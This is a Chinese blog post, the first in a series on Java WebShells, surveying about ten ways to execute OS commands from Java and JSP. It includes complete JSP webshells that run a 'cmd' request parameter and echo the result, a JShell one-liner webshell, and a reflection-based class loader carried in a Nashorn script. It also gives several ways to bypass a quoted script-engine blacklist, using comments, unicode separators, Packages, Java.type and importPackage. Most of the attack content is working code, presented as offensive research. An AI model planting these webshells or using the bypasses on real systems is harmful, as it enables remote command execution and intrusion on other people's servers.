美文网首页
Java WebShell1—Java 命令执行

Java WebShell1—Java 命令执行

作者: AxisX | 来源:发表于2022-04-02 14:22 被阅读0次

JSP执行命令的方式有很多,包括常见的命令执行方法(Runtime、ProcessBuilder、ProcessImp等)、类加载、反序列化等。第一篇讲讲命令执行

//  命令执行
(1)java.lang.Runtime
(2)java.lang.ProcessBuilder
(3)java.lang.ProcessImpl
(4)javax.script.ScriptEngineManager
(5)java.beans.Expression
(6)java.beans.Statement
(7)javax.el.ELProcessor(Tomcat EL)
(8)javax.el.ELManager (Tomcat EL)
OGNL(Struct),SpEL(Spring)
(9)JShell
(10)MVEL

1. 命令执行

(1)Runtime

每个Java应用程序都有一个类Runtime的实例,该实例允许应用程序与运行应用程序的环境进行交互。Runtime的基础用法如下,执行命令但没有回显。

Runtime.getRuntime().exec("calc.exe");

单例模式

Runtime是单例模式设计,也就是不能通过New来创建对象,而是提供了一个统一的创建对象的方法—getRuntime。Runtime对于单例模式实现的源码如下

private static Runtime currentRuntime = new Runtime();
public static Runtime getRuntime() { return currentRuntime; }
private Runtime() {} // Don't let anyone else instantiate this class

分割处理

Runtime的exec方法,实际调用的是ProcessBuilder.start(),返回的是一个Process对象。但是在调用ProcessBuilder之前会先通过StringTokenizer进行处理,它会把\t\n\r\f都当成分隔符,也就是会根据回车、空格对字符串进行分割。

return new ProcessBuilder(cmdarray).environment(envp).directory(dir).start();

exec方法有多种,一种是传入单条命令String command,一种是传入命令数组String cmdarray[]。在windows下一般用cmd来进行命令行操作,linux则是/bin/sh

String cmd = "cmd /c calc";
String [] cmd={"cmd","/c","calc"};
String [] cmd={"/bin/sh","-c","open -a Calculator"}; 

需要注意的是String cmd="/bin/sh -c \"echo 1 > a.txt\"",这个Runtiem字符串由于字符串按空格分割,在bash命令行下无法正常执行,就需要换成字符数组的形式传入,原因如下

// windows,成功
cmd /c echo axisx > 1.txt
cmd /c "echo axisx > 2.txt"
// Linux,失败
/bin/sh -c echo axisx > 1.txt
// Linux,成功
/bin/sh -c "echo axisx > 1.txt"

终端Demo

利用Runtime写JSP虽然能执行命令了但是还不够,需要加入回显操作,完整写法如下

    public static void main(String[] args) throws IOException {
        String [] cmd={"cmd","/c","whoami"};
        Process p=Runtime.getRuntime().exec(cmd);
        InputStream ins= p.getInputStream();
        String line=null;
        InputStreamReader inputStreamReader=new InputStreamReader(ins);
        BufferedReader bufferedReader=new BufferedReader(inputStreamReader);
        while((line=bufferedReader.readLine())!=null){
            System.out.println(line);
        }
    }
IO流

Input是从外部读入数据到内存,Output是把数据从内存读到外部。IO流以byte(字节)为最小单位,因此也称为字节流。InputStream代表输入字节流,OuputStream代表输出字节流。字节的符号形式是0x00,并不易读,所以需要转换为char字符形式。这种流称为字符流,输入输出的字符流分别用ReaderWriter来进行。

Runtime的命令执行时操作系统层面的,属于Java的外部,需要先用InputStream将操作结果读入到内存,然后转换成字符形式。所以其核心是将字节流转换为字符流InputStream是一个抽象类,是所有字节输入流的超类,子类包括FileInputStream、ByteArrayInputStream等。Reader则是所有字符输入流的超类,InputStreamReader是其子类,也是字节流到字符流的桥梁,将任何InputStream转换为Reader。这些构成了上述Demo。

JSP Demo

但是System.out.println是用于终端输出的,想要在页面上输出需要依靠response对象。还需要将每次的line拼接起来得到一个完整的输出字符串。如果采用s=s+line的形式,每次生成的都是临时对象浪费内存并影响GC效率,所以Java标准库提供了StringBuilder来进行字符串拼接。它进行的是链式操作,append()方法进行拼接会返回this,也就是不断调用自身。将上述Demo改为JSP形式如下

<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<html>
<body>
<h2>Runtime JSP WebShell</h2>
<%
    String cmd = request.getParameter("cmd");
    Process process = Runtime.getRuntime().exec(cmd.split(" "));
    InputStream inputStream = process.getInputStream();
    StringBuilder stringBuilder = new StringBuilder();
    BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
    String line;
    while((line = bufferedReader.readLine()) != null) {
        stringBuilder.append(line).append("\n");
    }
    if (stringBuilder.length() > 0) {
        response.getOutputStream().write(stringBuilder.toString().getBytes());
    }
%>
</body>
</html>

Runtime类除了上述常用于命令执行的方法,还具有查看JVM内存的freeMemory、totalMemory、maxMemory,还有Agent内存马中用于添加钩子进行免杀的addShutdownHook方法

(2)ProcessBuilder

ProcessBuilder类用于创建操作系统进程,上文说过Runtime实际调用的就是ProcessBuilder,所以利用二者的区别只在于命令执行的写法。

Process process = Runtime.getRuntime().exec(cmd.split(" "));
Process process = new ProcessBuilder().command(s.split(" ")).start();

ProcessBuilder.start会开启进程,实际调用的是ProcessImpl.startProcessImpl是Process的子类,专门为ProcessBuilder创建Process设计的。Process主要用于进程处理,获取进程的输入输出流(getInputStream/getOutputStream)、等待或销毁进程(WaitFor/destory)等。

(3)ProcessImpl

ProcessBuilder.start实际调用的是ProcessImpl.start,所以理论上可以直接通过ProcessImpl来执行命令。但是ProcessImplfinal修饰的,其构造方法也是private的,所以无法直接New一个对象出来。需要通过反射的方式来执行。其start方法如下,对于静态方法(static)来说,invoke时可以传入对象也可以传入null

static Process start(String cmdarray[], java.util.Map<String,String> environment,String dir,ProcessBuilder.Redirect[] redirects,boolean redirectErrorStream)

反射写法如下

String [] cmd={"cmd","/c","whoami"};
Class processimpl=Class.forName("java.lang.ProcessImpl");
Method m1=processimpl.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
m1.setAccessible(true);
Process p=(Process) m1.invoke(processimpl,cmd,null,null,null,false);

(4)ScriptEngineManager

javax.script,从JDK1.6开始引入,用于解析Javascript。被称作Java脚本引擎。

ScriptEngineManager根据namejsjavascript)可以获取javascript脚本的工厂并生成对应的ScriptEngine,然后就可以利用ScriptEngine.eval()解析脚本字符串。用法如下

ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("js");
String script="java.lang.Runtime.getRuntime().exec(\"calc\")";
engine.eval(script);

需要注意的是,从 JDK 1.8 开始,Nashorn取代 Rhino(JDK 1.6, JDK1.7)成为 Java 的嵌入式 JavaScript 引擎,并在JDK15被取消。

黑名单绕过

一般的防御会采用黑名单的方式,常见黑名单如下

private static final Set<String> blacklist = Sets.newHashSet(
            // Java 全限定类名
            "java.io.File", "java.io.RandomAccessFile", "java.io.FileInputStream", "java.io.FileOutputStream",
            "java.lang.Class", "java.lang.ClassLoader", "java.lang.Runtime", "java.lang.System", "System.getProperty",
            "java.lang.Thread", "java.lang.ThreadGroup", "java.lang.reflect.AccessibleObject", "java.net.InetAddress",
            "java.net.DatagramSocket", "java.net.DatagramSocket", "java.net.Socket", "java.net.ServerSocket",
            "java.net.MulticastSocket", "java.net.MulticastSocket", "java.net.URL", "java.net.HttpURLConnection",
            "java.security.AccessControlContext",
            // JavaScript 方法
            "eval", "new function");

如何绕过黑名单?可以看到Runtime被禁用了,但是上文讲过Runtime本质上调用的是ProcessBuilder、ProcessImpl,所以可以将执行脚本的字符串换成如下形式

String script="var x=new java.lang.ProcessBuilder; x.command(\"calc\"); x.start();";
String script="new java.lang.ProcessBuilder().command(\"calc\").start();";

或者利用注释或空格等绕过方式

String script="java.lang./****/Runtime.getRuntime().exec(\"calc\")";

还可以利用Funtion来创建对象绕过

String script="var x=new Function('return'+'(new java.'+'lang.ProcessBuilder)')();  x.command(\"calc\"); x.start();";

也可以额创建ScriptEngineManager来执行

new javax.script.ScriptEngineManager().getEngineByName("js").eval("var a = test(); function test() { var x=java.lang."+"Runtime.getRuntime().exec(\"calc\");};");

另外,作为解析引擎,它有自己的词法分析机制,具体可以看jdk.nashorn.internal.parser.Lexer中的源码

String script="var x=java.\u2028lang.Runtime.getRuntime().exec(\"calc\");";
String script="var x=java.\u2029lang.Runtime.getRuntime().exec(\"calc\");";
String script="var x=java.lang.//\nRuntime.getRuntime().exec(\"calc\");";

Nashorn特性

JDK1.8开始采用的是Nashorn引擎,它支持的name可以在NashornScriptEngineFactory中看到(package-info.class)。

private static final List<String> names = immutableList("nashorn", "Nashorn", "js", "JS", "JavaScript", "javascript", "ECMAScript", "ecmascript");
private static final List<String> mimeTypes = immutableList("application/javascript", "application/ecmascript", "text/javascript", "text/ecmascript");
private static final List<String> extensions = immutableList("js");

输出方式print()、printf()、echo()都是用于脚本输出。利用输出来写文件的Demo如下

ScriptEngineManager manager = new ScriptEngineManager(null);
ScriptEngine engine = manager.getEngineByName("JavaScript");
File outputFile = new File("jsoutput.txt");
FileWriter writer = new FileWriter(outputFile);
ScriptContext defaultCtx = engine.getContext();
defaultCtx.setWriter(writer);
String script = "print(\"This is AxisX Test\")";
engine.eval(script);
writer.close();

传参方式put()放入键值对,get取键。这也称为脚本绑定。绑定(Bindings)是一组键/值对,键必须是非空的非空字符串。

String script = "print(msg)";
engine.put("msg", "This is AxisX Test");
engine.eval(script);

engine.get("msg");

全局特性:Package、对象
1)Nashorn将所有Java包都定义为名为 Packages 的全局变量的属性
也就是java.lang.Runtime可以写为Packages.java.lang.Runtime,所以脚本可以写成

String script="Packages.java.lang.Runtime.getRuntime().exec(\"calc\")";

2)Java对象的 type()函数将Java类型导入脚本中
也就是类对象可以通过Java.type(\"java.lang.Runtime\");的形式获取,所以脚本可以写成

String script="var runtime=Java.type(\"java.lang.Runtime\"); var object =runtime.getRuntime(); object.exec(\"calc\");";

3)内置函数importPackage()importClass()分别从包中导入所有类和从包导入类
要在Nashorn中使用这些函数,需要使用load()函数从mozilla_compat.js文件加载兼容性模块。

String script = "load(\"nashorn:mozilla_compat.js\"); importPackage(java.lang); var x=Runtime.getRuntime(); x.exec(\"calc\");";
String script = "load(\"nashorn:mozilla_compat.js\"); importClass(java.lang.Runtime); var x=Runtime.getRuntime(); x.exec(\"calc\");";

4)可以在with语句中使用JavaImporter对象的类的简单名称

String script="var importer =JavaImporter(java.lang); with(importer){ var x=Runtime.getRuntime().exec(\"calc\");}";

反射

String script1 = "var clazz = java.security.SecureClassLoader.class;\n" +
        "        var method = clazz.getSuperclass().getDeclaredMethod('defineClass', 'axisx'.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
        "        method.setAccessible(true);\n" +
        "        var classBytes = 'yv66vg...';" +
        "        var bytes = java.util.Base64.getDecoder().decode(classBytes);\n" +
        "        var constructor = clazz.getDeclaredConstructor();\n" +
        "        constructor.setAccessible(true);\n" +
        "        var clz = method.invoke(constructor.newInstance(), bytes, 0 , bytes.length);\nprint(clz);" +
        "        clz.newInstance();";

JSP

简单的JSP写法如下,还可以结合反射进行改造

<%
        ScriptEngineManager manager = new ScriptEngineManager(null);
        ScriptEngine engine = manager.getEngineByName("nashorn");
        String payload=request.getParameter("cmd");
        Compilable compEngine=(Compilable)engine; 
        CompiledScript script=compEngine.compile(payload);
        BufferedReader object=(BufferedReader)script.eval(); 
        String line="";
        String result="";
        while((line=object.readLine())!=null){
            result=result+line;
        }
        out.println(result);
%>

最后,关于ScriptEngineManager的内容可以查看官方文档:https://docs.oracle.com/en/java/javase/12/scripting/java-scripting-programmers-guide.pdf

(5) Expression

EL(Expression Language,表达式语言),主要作用于JSP来访问页面的上下文和不同作用域中的对象,并进行简单的运算。java.beans.Expression是JDK自带的,其构造方法如下,分别传入表达式的目标,方法名和参数,其中参数是Object数组的形式。运算则是getValue来实现

    @ConstructorProperties({"target", "methodName", "arguments"})
    public Expression(Object target, String methodName, Object[] arguments) {
        super(target, methodName, arguments);
    }

命令执行写法如下

Expression expression=new Expression(Runtime.getRuntime(),"exec",new Object[]{"calc"});
expression.getValue();

getValue实际调用的是java.beans.Statement#invoke

public Object getValue() throws Exception {  setValue(invoke());  }

再往下追踪其实调用的是java.beans.Statement#invokeInternal,它非常典型地实现了反射

private Object invokeInternal() throws Exception {
    Object target = getTarget();
    String methodName = getMethodName();
    Object[] arguments = getArguments();
    if (target == Class.class && methodName.equals("forName")) {
        return ClassFinder.resolveClass((String)arguments[0], this.loader);
    }
    Class<?>[] argClasses = new Class<?>[arguments.length];
    for(int i = 0; i < arguments.length; i++) {
        argClasses[i] = (arguments[i] == null) ? null : arguments[i].getClass();
    }
    ...

所以Expression也可以替换成Statement来执行命令

(6) Statement

java.beans.Statement位于的java.beans包常用于反射相关功能。Statement中的Invoke、InvokerInternal方法都是无法直接调用的,但是execute方法调用了Invoke,所以上述Expression的写法还可以改成如下的形式。

Statement statement=new Statement(Runtime.getRuntime(),"exec",new Object[]{"calc"});
statement.execute();

(7) ELProcessor

ScriptEngineManager有eval函数,ELProcessor也有eval函数,它位于tomcat。

String script= "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='"+cmd+"';java.lang.Runtime.getRuntime().exec(exp);\")";
ELProcessor elProcessor = new ELProcessor();
Process process = (Process) elProcessor.eval(script);

ELProcessor的eval方法调用的是getValue,其实现如下,Expression的创建由factory来实现,factory则是由ELManager来创建的

    private final ExpressionFactory factory;

    public ELProcessor() {
        this.context = this.manager.getELContext();
        this.factory = ELManager.getExpressionFactory();
    }

    public Object getValue(String expression, Class<?> expectedType) {
        ValueExpression ve = this.factory.createValueExpression(this.context, bracket(expression), expectedType);
        return ve.getValue(this.context);
    }

那么ELProcessor的写法也可以改成ELManager来实现

(8) ELManager

String script= "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\"var exp='calc';java.lang.Runtime.getRuntime().exec(exp);\")";
ELManager elManager=new ELManager();
ELContext elContext=elManager.getELContext();
ExpressionFactory expressionFactory=ELManager.getExpressionFactory();
ValueExpression valueExpression=expressionFactory.createValueExpression(elContext,"${"+script+"}",Object.class);
valueExpression.getValue(elContext);

(9)JShell

JDK9以上的特性,不多说了

<%=jdk.jshell.JShell.builder().build().eval(request.getParameter("cmd"))%>

(10)MVEL

payload如下

ShellSession shellSession=new ShellSession();
shellSession.exec("push Runtime.getRuntime().exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator');");

ShellSession执行exec实际执行的是_exec()。而_exec()会根据传入的commond的类型来调用对应的类

((Command)this.commands.get(inTokens[0])).execute(this, passParameters);

commands支持的命令和命令对应的类如下:

"help" -> {Help@605} 
"exit" -> {Exit@607} 
"cd" -> {ChangeWorkingDir@609} 
"set" -> {Set@611} 
"showvars" -> {ShowVars@613} 
"ls" -> {DirList@614} 
"inspect" -> {ObjectInspector@616} 
"pwd" -> {PrintWorkingDirectory@618} 
"push" -> {PushContext@620} 

ls、pwd、cd都是操作系统常见命令。用到的push需要解释一下,push调用的是PushContext类,该类实际调用的是MVEL.eval()。但是进入到PushContext类之前,push作为token就被去掉了,不会被带入到表达式中。

    public Object execute(ShellSession session, String[] args) {
        session.setCtxObject(MVEL.eval(args[0], session.getCtxObject(), session.getVariables()));
        return "Changed Context";
    }

MVEL.eval执行解析

    public static Object eval(String expression, Object ctx, Map<String, Object> vars) {
        CachingMapVariableResolverFactory factory = new CachingMapVariableResolverFactory(vars);

        Object var4;
        try {
            var4 = (new MVELInterpretedRuntime(expression, ctx, factory)).parse();
        } finally {
            factory.externalize();
        }

        return var4;
    }

相关文章

网友评论

      本文标题:Java WebShell1—Java 命令执行

      本文链接:https://www.haomeiwen.com/subject/cbagjrtx.html